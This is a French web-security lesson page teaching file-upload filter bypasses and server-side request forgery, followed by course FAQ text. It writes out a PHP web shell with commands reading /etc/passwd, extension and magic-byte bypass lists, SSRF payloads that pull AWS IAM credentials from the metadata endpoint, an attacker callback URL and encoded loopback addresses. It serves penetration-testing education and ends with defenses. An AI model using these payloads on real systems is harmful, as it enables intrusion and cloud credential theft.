Vulnérabilités de téléversement de fichiers et SSRF
Contournez les restrictions de téléversement de fichiers, exploitez les SSRF pour accéder aux services internes et enchaînez les vulnérabilités.
Vulnérabilités de téléversement de fichiers et SSRF est une leçon Cyber Security Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Cyber Security Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Cyber Security Academy comprend 4 leçons au total.
Vulnérabilités liées à l'envoi de fichiers
La fonctionnalité d'envoi de fichiers est l'une des fonctions les plus risquées des applications web. Une validation insuffisante permet d'envoyer des fichiers exécutables (PHP, JSP, ASPX) que le serveur exécute ensuite, ce qui peut mener à une exécution de code à distance.
Contournement de base de l'envoi : filtrage des extensions
Les filtres d'extensions côté client et fondés sur une liste noire peuvent être contournés. Essayez : doubles extensions (.php.jpg), variations de casse (.PhP), octets nuls (file.php%00.jpg) et extensions alternatives (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerContournement du type MIME
Les serveurs vérifient souvent l'en-tête Content-Type, et non le contenu réel du fichier. Interceptez la requête d'envoi dans Burp et remplacez Content-Type de application/x-php par image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Contournement des octets magiques
Certains serveurs vérifient les octets magiques du fichier (ses premiers octets). Ajoutez des octets magiques d'image valides avant la charge utile PHP pour passer le contrôle tout en conservant un contenu exécutable.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Shell web après l'envoi
Une fois qu'un fichier PHP/JSP a été envoyé et est accessible via son URL, déclenchez-le pour exécuter des commandes. Le shell web le plus simple :
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdQu'est-ce que la SSRF ?
La falsification de requêtes côté serveur (SSRF) trompe le serveur pour lui faire envoyer des requêtes HTTP vers des URL arbitraires au nom de l'attaquant. Cela permet d'accéder aux services internes, aux API de métadonnées du cloud et aux interfaces d'administration internes.
Détection de base de la SSRF
Trouvez les paramètres qui acceptent des URL (webhooks, URL d'aperçu, points de terminaison de récupération, URL d'image). Injectez des adresses internes et observez les réponses : délai d'expiration, refus de connexion ou réponse valide indiquent ce qui est accessible.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API de métadonnées AWS via SSRF
Le service de métadonnées d'instance AWS (IMDS) à l'adresse 169.254.169.254 expose les identifiants de rôle IAM. Une SSRF vers ce point de terminaison peut divulguer des identifiants cloud permettant une prise de contrôle complète du compte.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF à l'aveugle
Lorsqu'aucun corps de réponse n'est renvoyé, utilisez des techniques OOB : une recherche DNS vers Burp Collaborator confirme la connectivité ; un rappel HTTP contenant des données dans le chemin exfiltre des informations.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTechniques de contournement de la SSRF
Les filtres qui bloquent les adresses IP internes évidentes peuvent être contournés avec : l'encodage d'IP (décimal 0x7f000001 = 127.0.0.1), le réattachement DNS, des adresses de bouclage alternatives (127.1, 0.0.0.0) et des redirections d'URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostDéfenses contre l'envoi de fichiers et la SSRF
Envoi de fichiers : n'autorisez que les extensions sûres, stockez les fichiers hors de la racine web, renommez-les côté serveur et servez-les via un CDN. SSRF : autorisez uniquement les URL et plages d'IP approuvées, désactivez les fonctionnalités inutiles de récupération d'URL et imposez IMDSv2 sur AWS.
Vérification rapide
Quelle adresse IP une attaque SSRF cible-t-elle pour voler des identifiants AWS ?
Résumé : envoi de fichiers et SSRF
Les failles d'envoi de fichiers peuvent mener à une exécution de code à distance ; la SSRF permet d'accéder au réseau interne et de voler des identifiants. Testez les envois avec des contournements d'extension, de type MIME et d'octets magiques. Testez les paramètres d'URL pour détecter la SSRF en ciblant localhost, les sous-réseaux internes et les API de métadonnées du cloud. Dans les deux cas, appliquez une défense en profondeur : listes blanches plutôt que listes noires, segmentation du réseau et renforcement de la sécurité du cloud.
Questions Fréquemment Posées
La leçon « Vulnérabilités de téléversement de fichiers et SSRF » est-elle gratuite ?
Oui — le texte complet de « Vulnérabilités de téléversement de fichiers et SSRF » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Cyber Security Academy, passe à CoddyKit PRO. Le cours Cyber Security Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Vulnérabilités de téléversement de fichiers et SSRF » ?
Contournez les restrictions de téléversement de fichiers, exploitez les SSRF pour accéder aux services internes et enchaînez les vulnérabilités. Tu pratiques Cyber Security Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Cyber Security Academy ?
Aucune expérience préalable n'est requise. Cyber Security Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.
Combien de temps prend la leçon « Vulnérabilités de téléversement de fichiers et SSRF » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Cyber Security Academy ?
Oui. Chaque leçon Cyber Security Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Proxy Burp Suite et interception des requêtes
- Tester les vulnérabilités par injection
- Tests d’authentification et de session
- Vulnérabilités de téléversement de fichiers et SSRF